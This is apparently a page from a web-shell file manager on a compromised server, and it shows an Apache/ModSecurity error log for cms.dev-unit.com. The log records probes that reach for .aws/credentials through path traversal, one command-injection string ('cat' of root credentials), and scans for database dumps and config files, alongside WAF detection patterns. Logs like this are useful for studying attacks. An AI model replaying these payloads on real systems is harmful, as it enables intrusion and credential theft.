⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.19
Server IP:
178.33.27.10
Server:
Linux cpanel.dev-unit.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Server Software:
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
PHP Version:
8.2.11
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
local
/
apache
/
domlogs
/
View File Name :
cms.dev-unit.com.error.log
[Wed Jun 04 23:28:53.470799 2025] [authz_core:error] [pid 7206:tid 140249992779520] [client 139.59.143.102:51138] AH01630: client denied by server configuration: /home/id/cms.dev-unit.com/server-status [Wed Jun 04 23:28:53.877959 2025] [:error] [pid 7240:tid 140250111796992] [client 139.59.143.102:51220] File does not exist: /home/id/cms.dev-unit.com/info.php [Wed Jun 04 23:28:55.103856 2025] [authz_core:error] [pid 7240:tid 140250001172224] [client 139.59.136.184:60382] AH01630: client denied by server configuration: /home/id/cms.dev-unit.com/server-status [Wed Jun 04 23:28:55.673968 2025] [:error] [pid 7239:tid 140249892067072] [client 139.59.136.184:60476] File does not exist: /home/id/cms.dev-unit.com/info.php [Fri Jun 06 03:35:00.206105 2025] [:error] [pid 21091:tid 139942827083520] [client 5.62.57.46:1223] File does not exist: /home/id/cms.dev-unit.com/phpinfo.php [Fri Jun 06 03:35:02.885269 2025] [:error] [pid 21093:tid 139942860654336] [client 5.62.57.46:1358] File does not exist: /home/id/cms.dev-unit.com/test.php [Fri Jun 06 03:35:14.261880 2025] [:error] [pid 11111:tid 139942885832448] [client 5.62.57.46:1334] File does not exist: /home/id/cms.dev-unit.com/index.php [Fri Jun 06 08:46:44.862270 2025] [:error] [pid 28114:tid 139905246152448] [client 107.150.0.115:58838] File does not exist: /home/id/cms.dev-unit.com/login_up.php [Fri Jun 06 08:46:46.155869 2025] [:error] [pid 28114:tid 139905078298368] [client 107.150.0.115:58838] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\x5c|(?:%(?:2(?:5(?:2f|5c)|%46|f)|c(?:0%(?:9v|af)|1%1c)|u(?:221[56]|002f)|%32(?:%46|F)|e0%80%af|1u|5c)|\\\\/))(?:%(?:2(?:(?:52)?e|%45)|(?:e0%8|c)0%ae|u(?:002e|2024)|%32(?:%45|E))|\\\\.){2}(?:\\\\x5c|(?:%(?:2(?:5(?:2f|5c)|%46|f)|c(?:0%(?:9v|af)|1%1c)| ..." at REQUEST_URI. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_42_tight_security.conf"] [line "20"] [id "950103"] [rev "2"] [msg "Path Traversal Attack"] [data "Matched Data: /../ found within REQUEST_URI: /pms?module=logging&file_name=../../../../../../~/.aws/credentials&number_of_lines=10000"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "7"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "cms.dev-unit.com"] [uri "/pms"] [unique_id "aEKAxulGAz3AdDlN_29zPAAAAJc"] [Fri Jun 06 08:46:53.524511 2025] [:error] [pid 28114:tid 139905086691072] [client 107.150.0.115:58838] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\x5c|(?:%(?:2(?:5(?:2f|5c)|%46|f)|c(?:0%(?:9v|af)|1%1c)|u(?:221[56]|002f)|%32(?:%46|F)|e0%80%af|1u|5c)|\\\\/))(?:%(?:2(?:(?:52)?e|%45)|(?:e0%8|c)0%ae|u(?:002e|2024)|%32(?:%45|E))|\\\\.){2}(?:\\\\x5c|(?:%(?:2(?:5(?:2f|5c)|%46|f)|c(?:0%(?:9v|af)|1%1c)| ..." at REQUEST_URI. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_42_tight_security.conf"] [line "20"] [id "950103"] [rev "2"] [msg "Path Traversal Attack"] [data "Matched Data: /../ found within REQUEST_URI: /cacti/cmd_realtime.php?action=polldata&host_id=1&local_data_id=1;cat%20../../../../../../../root/.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "7"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "cms.dev-unit.com"] [uri "/cacti/cmd_realtime.php"] [unique_id "aEKAzelGAz3AdDlN_29zQgAAAJY"] [Fri Jun 06 08:46:56.495034 2025] [:error] [pid 28114:tid 139905195796224] [client 107.150.0.115:58838] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\x5c|(?:%(?:2(?:5(?:2f|5c)|%46|f)|c(?:0%(?:9v|af)|1%1c)|u(?:221[56]|002f)|%32(?:%46|F)|e0%80%af|1u|5c)|\\\\/))(?:%(?:2(?:(?:52)?e|%45)|(?:e0%8|c)0%ae|u(?:002e|2024)|%32(?:%45|E))|\\\\.){2}(?:\\\\x5c|(?:%(?:2(?:5(?:2f|5c)|%46|f)|c(?:0%(?:9v|af)|1%1c)| ..." at REQUEST_URI. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_42_tight_security.conf"] [line "20"] [id "950103"] [rev "2"] [msg "Path Traversal Attack"] [data "Matched Data: /../ found within REQUEST_URI: /index.php?option=com_media&view=mediaList&tmpl=component&fieldid=filename&folder=../../../../../../../root/.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "7"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "cms.dev-unit.com"] [uri "/index.php"] [unique_id "aEKA0OlGAz3AdDlN_29zRQAAAIk"] [Fri Jun 06 08:46:58.670042 2025] [:error] [pid 28114:tid 139905153832704] [client 107.150.0.115:58838] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\x5c|(?:%(?:2(?:5(?:2f|5c)|%46|f)|c(?:0%(?:9v|af)|1%1c)|u(?:221[56]|002f)|%32(?:%46|F)|e0%80%af|1u|5c)|\\\\/))(?:%(?:2(?:(?:52)?e|%45)|(?:e0%8|c)0%ae|u(?:002e|2024)|%32(?:%45|E))|\\\\.){2}(?:\\\\x5c|(?:%(?:2(?:5(?:2f|5c)|%46|f)|c(?:0%(?:9v|af)|1%1c)| ..." at REQUEST_URI. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_42_tight_security.conf"] [line "20"] [id "950103"] [rev "2"] [msg "Path Traversal Attack"] [data "Matched Data: /../ found within REQUEST_URI: /index.php?file=../../../../../../../../root/.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "7"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "cms.dev-unit.com"] [uri "/index.php"] [unique_id "aEKA0ulGAz3AdDlN_29zRwAAAI4"] [Fri Jun 06 08:47:01.611118 2025] [:error] [pid 28114:tid 139905128654592] [client 107.150.0.115:58838] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\x5c|(?:%(?:2(?:5(?:2f|5c)|%46|f)|c(?:0%(?:9v|af)|1%1c)|u(?:221[56]|002f)|%32(?:%46|F)|e0%80%af|1u|5c)|\\\\/))(?:%(?:2(?:(?:52)?e|%45)|(?:e0%8|c)0%ae|u(?:002e|2024)|%32(?:%45|E))|\\\\.){2}(?:\\\\x5c|(?:%(?:2(?:5(?:2f|5c)|%46|f)|c(?:0%(?:9v|af)|1%1c)| ..." at REQUEST_URI. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_42_tight_security.conf"] [line "20"] [id "950103"] [rev "2"] [msg "Path Traversal Attack"] [data "Matched Data: /../ found within REQUEST_URI: /ajax_dashboard.php?widget=../../../../../../../../root/.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "7"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "cms.dev-unit.com"] [uri "/ajax_dashboard.php"] [unique_id "aEKA1elGAz3AdDlN_29zSQAAAJE"] [Fri Jun 06 08:47:03.063570 2025] [:error] [pid 28114:tid 139905095083776] [client 107.150.0.115:58838] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\x5c|(?:%(?:2(?:5(?:2f|5c)|%46|f)|c(?:0%(?:9v|af)|1%1c)|u(?:221[56]|002f)|%32(?:%46|F)|e0%80%af|1u|5c)|\\\\/))(?:%(?:2(?:(?:52)?e|%45)|(?:e0%8|c)0%ae|u(?:002e|2024)|%32(?:%45|E))|\\\\.){2}(?:\\\\x5c|(?:%(?:2(?:5(?:2f|5c)|%46|f)|c(?:0%(?:9v|af)|1%1c)| ..." at REQUEST_URI. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_42_tight_security.conf"] [line "20"] [id "950103"] [rev "2"] [msg "Path Traversal Attack"] [data "Matched Data: /../ found within REQUEST_URI: /remote/fgt_lang?lang=/../../../../../../../../root/.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "7"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "cms.dev-unit.com"] [uri "/remote/fgt_lang"] [unique_id "aEKA1-lGAz3AdDlN_29zSgAAAJU"] [Fri Jun 06 08:47:08.464383 2025] [:error] [pid 28114:tid 139905137047296] [client 107.150.0.115:58838] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\x5c|(?:%(?:2(?:5(?:2f|5c)|%46|f)|c(?:0%(?:9v|af)|1%1c)|u(?:221[56]|002f)|%32(?:%46|F)|e0%80%af|1u|5c)|\\\\/))(?:%(?:2(?:(?:52)?e|%45)|(?:e0%8|c)0%ae|u(?:002e|2024)|%32(?:%45|E))|\\\\.){2}(?:\\\\x5c|(?:%(?:2(?:5(?:2f|5c)|%46|f)|c(?:0%(?:9v|af)|1%1c)| ..." at REQUEST_URI. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_42_tight_security.conf"] [line "20"] [id "950103"] [rev "2"] [msg "Path Traversal Attack"] [data "Matched Data: /../ found within REQUEST_URI: /index.php/core/preview?file=../../../../../../../../root/.aws/credentials&x=100&y=100"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "7"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "cms.dev-unit.com"] [uri "/index.php/core/preview"] [unique_id "aEKA3OlGAz3AdDlN_29zTgAAAJA"] [Fri Jun 06 08:47:57.684499 2025] [:error] [pid 28114:tid 139905162225408] [client 107.150.0.115:58838] File does not exist: /home/id/cms.dev-unit.com/phpinfo.php [Fri Jun 06 08:47:58.907253 2025] [:error] [pid 28114:tid 139905271330560] [client 107.150.0.115:58838] File does not exist: /home/id/cms.dev-unit.com/info.php [Fri Jun 06 09:58:38.744863 2025] [:error] [pid 28204:tid 139905179010816] [client 213.232.87.230:44245] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "cms.dev-unit.com"] [uri "/.svn/wc.db"] [unique_id "aEKRnuwVtsTIuRogMJaFUAAAAMs"] [Fri Jun 06 09:58:38.906139 2025] [:error] [pid 28114:tid 139905153832704] [client 213.232.87.230:3199] File does not exist: /home/id/cms.dev-unit.com/wp-config.php [Fri Jun 06 09:58:38.973876 2025] [:error] [pid 28204:tid 139905195796224] [client 213.232.87.230:54525] File does not exist: /home/id/cms.dev-unit.com/phpinfo.php [Fri Jun 06 09:58:38.996114 2025] [:error] [pid 28113:tid 139905220974336] [client 213.232.87.230:46125] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "cms.dev-unit.com"] [uri "/backup.sql"] [unique_id "aEKRnusVXzdnbs2OP1eStwAAAEY"] [Fri Jun 06 09:58:39.073548 2025] [:error] [pid 28112:tid 139905103476480] [client 213.232.87.230:31393] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".pwd"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "cms.dev-unit.com"] [uri "/_vti_pvt/service.pwd"] [unique_id "aEKRnwkSknyQfMO4nOyhDAAAABQ"] [Fri Jun 06 09:58:39.129057 2025] [:error] [pid 28114:tid 139905220974336] [client 213.232.87.230:56021] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "cms.dev-unit.com"] [uri "/dump.sql"] [unique_id "aEKRn-lGAz3AdDlN_2933wAAAIY"] [Fri Jun 06 09:58:39.151775 2025] [:error] [pid 28204:tid 139905246152448] [client 213.232.87.230:19813] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "cms.dev-unit.com"] [uri "/database_backup.sql"] [unique_id "aEKRn-wVtsTIuRogMJaFWAAAAMM"] [Fri Jun 06 09:58:39.861783 2025] [:error] [pid 28113:tid 139905204188928] [client 213.232.87.230:25409] File does not exist: /home/id/cms.dev-unit.com/config.php [Fri Jun 06 09:58:39.868856 2025] [:error] [pid 28204:tid 139905162225408] [client 213.232.87.230:19023] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "cms.dev-unit.com"] [uri "/database.sql"] [unique_id "aEKRn-wVtsTIuRogMJaFWwAAAM0"] [Fri Jun 06 09:58:39.871234 2025] [:error] [pid 28114:tid 139905128654592] [client 213.232.87.230:48589] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".config"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "cms.dev-unit.com"] [uri "/web.config"] [unique_id "aEKRn-lGAz3AdDlN_2934QAAAJE"] [Fri Jun 06 09:58:39.873837 2025] [authz_host:error] [pid 28204:tid 139905128654592] [client 213.232.87.230:30545] AH01753: access check of 'localhost' to /server-status failed, reason: unable to get the remote host name [Fri Jun 06 09:58:39.873850 2025] [authz_core:error] [pid 28204:tid 139905128654592] [client 213.232.87.230:30545] AH01630: client denied by server configuration: /home/id/cms.dev-unit.com/server-status [Fri Jun 06 13:29:32.111667 2025] [:error] [pid 28113:tid 139905195796224] [client 185.177.72.104:62340] File does not exist: /home/id/cms.dev-unit.com/phpinfo.php [Fri Jun 06 13:29:32.124157 2025] [:error] [pid 28113:tid 139905220974336] [client 185.177.72.104:62340] File does not exist: /home/id/cms.dev-unit.com/info.php [Sat Jun 07 16:10:01.741295 2025] [autoindex:error] [pid 29528:tid 140460420998912] [client 197.58.199.72:58083] AH01276: Cannot serve directory /home/id/cms.dev-unit.com/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive [Sat Jun 07 16:10:32.173327 2025] [autoindex:error] [pid 15719:tid 140460547733248] [client 197.58.199.72:58100] AH01276: Cannot serve directory /home/id/cms.dev-unit.com/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive [Sat Jun 07 16:16:48.449528 2025] [access_compat:error] [pid 15718:tid 140460379035392] [client 197.58.199.72:58123] AH01797: client denied by server configuration: /home/id/cms.dev-unit.com/installable/core/admin [Sat Jun 07 16:20:22.912446 2025] [access_compat:error] [pid 15720:tid 140460328679168] [client 197.58.199.72:58143] AH01797: client denied by server configuration: /home/id/cms.dev-unit.com/installable/core/admin [Sat Jun 07 16:22:35.972044 2025] [access_compat:error] [pid 15719:tid 140460437784320] [client 197.58.199.72:58152] AH01797: client denied by server configuration: /home/id/cms.dev-unit.com/core/admin [Sat Jun 07 16:45:19.342182 2025] [access_compat:error] [pid 15806:tid 140460437784320] [client 197.58.199.72:58259] AH01797: client denied by server configuration: /home/id/cms.dev-unit.com/core/admin [Tue Jun 10 05:22:14.609434 2025] [autoindex:error] [pid 15289:tid 140121730922240] [client 197.58.226.17:49782] AH01276: Cannot serve directory /home/id/cms.dev-unit.com/installer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive